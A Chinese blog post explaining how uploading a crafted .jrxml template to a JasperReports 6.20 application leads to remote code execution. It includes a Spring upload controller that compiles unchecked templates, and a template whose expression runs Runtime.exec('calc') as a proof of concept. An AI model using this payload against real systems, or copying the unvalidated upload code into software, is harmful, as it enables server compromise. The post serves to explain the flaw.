首页 > 编程语言 >上传jrxml模板进行JasperReport解析导致任意代码执行RCE

上传jrxml模板进行JasperReport解析导致任意代码执行RCE

时间:2023-07-19 17:13:46浏览次数:45  
标签:jrxml filename JasperReport 代码执行 fileNew new 解析 模板

JasperReport是一个强大、灵活的报表生成工具,能够展示丰富的页面内容,并将之转换成PDF、HTML、XML等格式。该库完全由Java写成,可以用于在各种Java应用程序,包括J2EE,Web应用程序中生成动态内容。
JasperReports附带了报表编译器,可以在报表表达式内部使用Groovy脚本语言或JavaScript编译报表模板。通过报表模板jrxml中的参数、字段或变量声明获取到对应java类,您甚至可以在表达式中的对象引用上调用方法。

pom依赖:

<dependency>
   <groupId>net.sf.jasperreports</groupId>
   <artifactId>jasperreports</artifactId>
   <version>6.20.0</version>
</dependency>

java代码实现:

    @RequestMapping("/test/uploadJrxml")
    public String uploadJrxml(MultipartFile file) throws IOException,JRException {
        String filename = file.getOriginalFilename();
        String suffix = filename.substring(filename.lastIndexOf(".") + 1);
        File fileNew = new File("D:\\JrxmlFile\\" + System.currentTimeMillis() + filename);
        file.transferTo(fileNew);
        System.out.println("------------------解析jrxml-----------------");
        if ("jrxml".equals(suffix)) {
            Map<String, Object> paraMap = new HashMap<>();
//            paraMap.put("abc", "123456");//Jasper的语法,对jrxml文档中的$P{abc}进行赋值
            JasperReport parentReport = JasperCompileManager.compileReport(new FileInputStream(fileNew));
            JasperPrint jasperPrint = JasperFillManager.fillReport(parentReport, paraMap, new JREmptyDataSource());//解析
//            JasperExportManager.exportReportToPdfFile(jasperPrint, "D:\\JrxmlFile\\"+ System.currentTimeMillis() + "Test.pdf");//将解析后的Jrxml文件生成pdf格式
        }
        return fileNew.getAbsolutePath();
    }

.jrxml文件模板:

<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Jaspersoft Studio version 6.1.1.final using JasperReports Library version 6.1.1  -->
<!-- 2020-05-28T16:26:18 -->
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="Blank_A4" pageWidth="226" pageHeight="1000" columnWidth="226" leftMargin="0" rightMargin="0" topMargin="0" bottomMargin="0" uuid="65ac09b1-f1eb-43e7-b286-55c2265202d0">
	<parameter name="abc" class="java.lang.String" isForPrompting="false"/>
	<parameter name="memberPoints" class="java.lang.String" isForPrompting="false"/>
	<queryString>
		<![CDATA[]]>
	</queryString>
	<variable name="run" resetType="None">
        <!-- <variableExpression><![CDATA[new java.util.Scanner(java.lang.Runtime.getRuntime().exec("calc").getInputStream()).useDelimiter("\\A")]]>
        </variableExpression> -->
		<variableExpression > <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]>
        </variableExpression >
    </variable>
	<variable name="run2" resetType="None">
		<variableExpression><![CDATA["dsp:"+$P{abc}]]>
        </variableExpression>
    </variable>
	<background>
		<band splitType="Stretch"/>
	</background>
	<title>
		<band height="50">
			<property name="com.jaspersoft.studio.unit.height" value="pixel"/>
			<staticText>
				<reportElement x="180" y="0" width="200" height="20"/>
				<text><![CDATA[testTitle]]></text>
			</staticText>
		</band>
	</title>
	<pageHeader>
		<band height="10">
			<staticText>
				<reportElement x="10" y="0" width="10" height="10"/>
				<text>
					<![CDATA[Page Header]]>
				</text>
			</staticText>
		</band>
	</pageHeader>
	<detail>
		<band height="20"> 
			<textField>
				<reportElement x="10" y="0" width="200" height="20"/>
				<textFieldExpression>
				<![CDATA["hhh"+$V{run2}+($P{abc})]]>
				<!-- <![CDATA[java.lang.Runtime.getRuntime().exec("calc")]]> -->
				</textFieldExpression>
			</textField>
			<staticText>
				<reportElement x="180" y="0" width="200" height="20"/>
				<text><![CDATA[hello!]]></text>
			</staticText>
			<staticText>
				<reportElement x="180" y="-20" width="200" height="20"/>
				<text><![CDATA[hello2!]]></text>
			</staticText>
		</band>
	</detail>
</jasperReport>

jrxml标签的使用可以参考

其中Expression类型的标签可以在运行时上下文调用任意代码

如:

<variable name="run" resetType="None">
    <variableExpression> <![CDATA["<s></s>"+(java.lang.Runtime.getRuntime().exec("calc"))]]></variableExpression>
</variable>

当文件没有进行合理白名单限制就进行文件解析, jasperreports引擎便会执行jrxml里定义的危险代码。

标签:jrxml,filename,JasperReport,代码执行,fileNew,new,解析,模板
From: https://www.cnblogs.com/snad/p/17566075.html

相关文章

  • CVE-2019-11043(PHP远程代码执行漏洞)复现
    一、漏洞介绍1、相关背景在web早期,页面都是以静态页面为主(如:HTML),没有动态页面的说法,所有还没有动态语言(如:PHP、JSP等)后来Ngnix为支持PHP语言就将有出现php页面的请求给PHP相关程序来进行处理,然后将处理后的结果反馈给用户。而解决PHP的相关程序就是cgi协议,有了cgi协议以后......
  • 总监面(高级或架构):如何找到缓慢代码并判定代码执行效率,以及优化它的思路
    1、先使用一些集成测试插件(比如jmeter、metershpere)或者脚本定位到慢速接口,也可以通过日志分析cat|grep2、使用sonar、findbugs之类的插件定位复杂度较高的代码,(分析一下算法复杂度和空间复杂度)以及sql调用部分的代码3、先将调用的sql放到mysql上运行一遍,观测执行速度,如果存在......
  • 福昕Foxit PDF远程代码执行漏洞CVE-2023-27363分析与复现
    漏洞概述福建福昕软件开发股份有限公司是一家国际化运营的PDF电子文档解决方案提供厂商,提供文档的生成、转换、显示、编辑、搜索、打印、存储、签章、表单、保护、安全分发管理等涵盖文档生命周期的产品技术与解决方案。其下产品FoxitPDFReader和FoxitPDFEditor的javascript函......
  • 【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)
    漏洞简介ApacheKafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。KafkaConnect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS配置和SASL协议的任意Kafka客户端,对KafkaConnectworker创建或修改连接器......
  • JasperReport报表导出PDF中文不显示的问题
       首先在JasperReportStudio中加载下载好的中文字体:打开设置页面:Window>>Preferences>>JaspersoftStudio>>Fonts,点击Add添加字体,FamilyName中命名新添加字体名称,TrueType中选择下载的字体文件(.ttf文件),PDFEncoding中选择PDF中中文字体编码格式。     这......
  • 代码执行&&命令执行
    代码执行当应用在调用一些能将字符串转化成为代码的函数(比如php中的eval、assert等),没有考虑到用户能否控制这个字符。将会造成代码执行使用方法:<?phpeval($_GET['cmd']);?>访问:xx.php?x=phpinfo();注意,eval不属于函数而属于结构体,所以在构造回调函数得到后门时,eval函数无法......
  • Apache Log4j2远程代码执行漏洞(CVE-2021-44228)修复
    1、演示说明:最近在项目中遇到用户扫描es时发现ApacheLog4j2远程代码执行漏洞(CVE-2021-44228),该漏洞具体原理不再赘述,此处分享解决过程。2、演示环境:(1)系统版本:#cat/etc/redhat-release(2)JDK版本:#java-version(3)es版本:#./elasticsearch-V3、下载命令行扫描工具:下载地址:https://gi......
  • struts2 s2-062 ONGL远程代码执行
    struts2s2-062ONGL远程代码执行一、Struts2介绍struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。Java中SSH框架SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行......
  • JasperReports教程_编程入门自学教程_菜鸟教程-免费教程分享
    教程简介JasperReports入门教程-使用包含从环境设置,报告设计,编译报告设计,填充报告,查看和打印报告,导出,参数,数据源开始的基础知识到高级知识的初学者教程,简单易学地设计和创建JasperReports,字段,表达式,变量,部分,组,样式,Scriplets,子报告,图表,Corsstabs和国际化。教程目录JasperRep......
  • c# 计算程序执行时间,计算一段代码执行所用的时间,测试效率
    usingSystem;usingSystem.Threading;classClass1{ [System.Runtime.InteropServices.DllImport("Kernel32.dll")] staticexternboolQueryPerformanceCounter(reflongcount); [System.Runtime.InteropServices.DllImport("Kernel32.dll")] ......